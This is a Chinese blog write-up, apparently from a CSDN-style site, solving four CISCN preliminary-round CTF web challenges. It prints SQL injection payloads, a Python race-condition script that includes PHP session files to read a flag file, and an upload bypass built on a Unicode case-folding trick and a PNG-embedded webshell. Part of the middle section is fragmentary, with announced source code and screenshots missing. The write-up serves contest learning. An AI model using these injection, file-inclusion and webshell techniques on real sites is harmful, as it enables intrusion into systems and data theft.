您当前的位置: 首页 > 

yu22x

暂无认证

  • 4浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ciscn国赛初赛web(4道低分题)

yu22x 发布时间:2021-05-16 12:36:58 ,浏览量:4

文章目录
      • easy_sql
      • easy_source
      • middle_source
      • upload

easy_sql

经过简单尝试发现为单引号括号闭合,并且可用使用报错注入注出库名

uname=1')||extractvalue('abc',concat('~',database()))%23&passwd=1

在这里插入图片描述

接着尝试利用information_schema库注表名,但是发现information被过滤掉了 在这里插入图片描述

那么可用无列名注入 获取到第一个列名id uname=1') ||updatexml("~",concat("~",(select * from (select * from flag as a join flag b)c)),"~")%23&passwd=1 在这里插入图片描述

获取后续列名。 在这里插入图片描述

得到flag

uname=1')||updatexml(1,((select `e4f94828-d693-4ea1-8759-051b98824ce3` from flag limit 0,1)),1)%23&passwd=1

在这里插入图片描述

easy_source

扫描后台目录得到index.php.swp 得到源码如下

'
}
data2={
	'1':'var_dump(file_get_contents("/etc/fddeafiaah/fdcccedhae/hgefcbbiab/dhceefeafc/ejhcjafeac/fl444444g"));echo "zzx";',
	'cf':'../../../../../../var/lib/php/sessions/dafbijggda/sess_'+sess
}
file={
	'file':'abc'
}
cookies={
	'PHPSESSID': sess
}
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'zzx' in r.text:
			print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()

在这里插入图片描述 在这里插入图片描述

upload

扫描后台得到example.php 首先可以用下面内容绕过getimagesize

#define width 1
#define height 1

根据example.php中的代码要求,我们应该需要上传一个zip后缀的文件才可以利用 在这里插入图片描述 但是前面把i字符给过滤了。 但是我们发现在生成文件名时用了mb_strtolower()函数。 在这里插入图片描述 可以利用一些unicode字符绕过。经过测试发现


输出结果为true。 并且前面还进行了url解密。所以可以用%c4%b0代替i字符。 为了可以绕过图片检查可以用如下脚本实现 https://github.com/huntergregal/PNG-IDAT-Payload-Generator/ 修改脚本的payload部分 具体步骤如下 https://gchq.github.io/CyberChef/ 在这里插入图片描述

将得到的数据在010内修改 在这里插入图片描述 修改后内容如下 在这里插入图片描述 复制出16进制 在这里插入图片描述

修改payload下面的两处内容 在这里插入图片描述

生成图片马 在这里插入图片描述

修改图片后缀为php然后压缩成zip 在这里插入图片描述 上传文件并抓包,修改文件名并添加长度绕过的字符串。 在这里插入图片描述 解压文件 在这里插入图片描述 在example目录下得到解压的文件 在这里插入图片描述 执行代码 在这里插入图片描述

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0711s